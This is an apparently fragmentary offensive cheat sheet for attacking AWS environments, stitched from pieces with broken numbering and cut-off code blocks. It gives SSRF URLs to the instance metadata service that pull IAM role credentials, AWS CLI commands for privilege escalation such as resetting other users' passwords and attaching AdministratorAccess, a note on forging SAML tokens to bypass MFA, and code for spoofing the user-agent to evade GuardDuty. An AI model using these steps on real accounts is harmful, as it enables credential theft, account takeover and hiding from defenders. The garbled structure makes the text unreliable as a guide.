* **Pacu** - Pacu allows penetration testers to exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set.
* **Prowler** : AWS Security Best Practices Assessment, Auditing, Hardening and Forensics Readiness Tool. It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
```powershell
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
```
2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
- **iam:CreateAccessKey**iam:CreateAccessKey : create a new access key to another IAM admin account
```powershell
aws iam create-access-key –user-name target_user
```
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
```powershell
$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^('–no-password-reset-required
```
- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords.
```powershell
$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^('–no-password-reset-required
```
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
```powershell
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
```powershell
$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
```
- **iam:CreatePolicy** : add a stealthy admin policy
- **iam:AddUserToGroup** : add into the admin group of the organization.
```powershell
$ aws iam add-user-to-group –group-name target_group –user-name my_username
```
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
```powershell
$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
```
- **iam:CreatePolicyVersion** &**iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
```powershell
$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
```
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
Step 1: Head over to EC2 –> Volumes and create a new volume of your preferred size and type.
Step 2: Select the created volume, right click and select the "attach volume" option.
Step 3: Select the instance from the instance text box as shown below : `attach ebs volume`
```powershell
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user’s password. This attack also bypasses any MFA requirements.
Requirement:
* Token-signing private key (export from personnal store using Mimikatz)
## Cover tracks by obfuscating Cloudtrail logs and Guard Duty
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
Pacu bypass this problem by defining a custom User-agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)
```python
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
```
### PenTest:IAMUser/KaliLinux
#### Finding description
**An API was invoked from a Kali Linux EC2 instance\.**
This finding informs you that a machine running Kali Linux is making API calls using credentials that belong to your AWS account\. Your credentials might be compromised\. Kali Linux is a popular penetration testing tool that security professionals use to identify weaknesses in EC2 instances that require patching\. Attackers also use this tool to find EC2 configuration weaknesses and gain unauthorized access to your AWS environment\. For more information, see [Remediating Compromised AWS Credentials](guardduty_remediate.md#compromised-creds)\.
#### Default severity: Medium
### PenTest:IAMUser/ParrotLinux
#### Finding description
**An API was invoked from a Parrot Security Linux EC2 instance\.**
This finding informs you that a machine running Parrot Security Linux is making API calls using credentials that belong to your AWS account\. Your credentials might be compromised\. Parrot Security Linux is a popular penetration testing tool that security professionals use to identify weaknesses in EC2 instances that require patching\. Attackers also use this tool to find EC2 configuration weaknesses and gain unauthorized access to your AWS environment\. For more information, see [Remediating Compromised AWS Credentials](guardduty_remediate.md#compromised-creds)\.
#### Default severity: Medium
### PenTest:IAMUser/PentooLinux
#### Finding description
**An API was invoked from a Pentoo Linux EC2 instance\.**
This finding informs you that a machine running Pentoo Linux is making API calls using credentials that belong to your AWS account\. Your credentials might be compromised\. Pentoo Linux is a popular penetration testing tool that security professionals use to identify weaknesses in EC2 instances that require patching\. Attackers also use this tool to find EC2 configuration weaknesses and gain unauthorized access to your AWS environment\. For more information, see [Remediating Compromised AWS Credentials](guardduty_remediate.md#compromised-creds)\.
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
* [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/)
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)
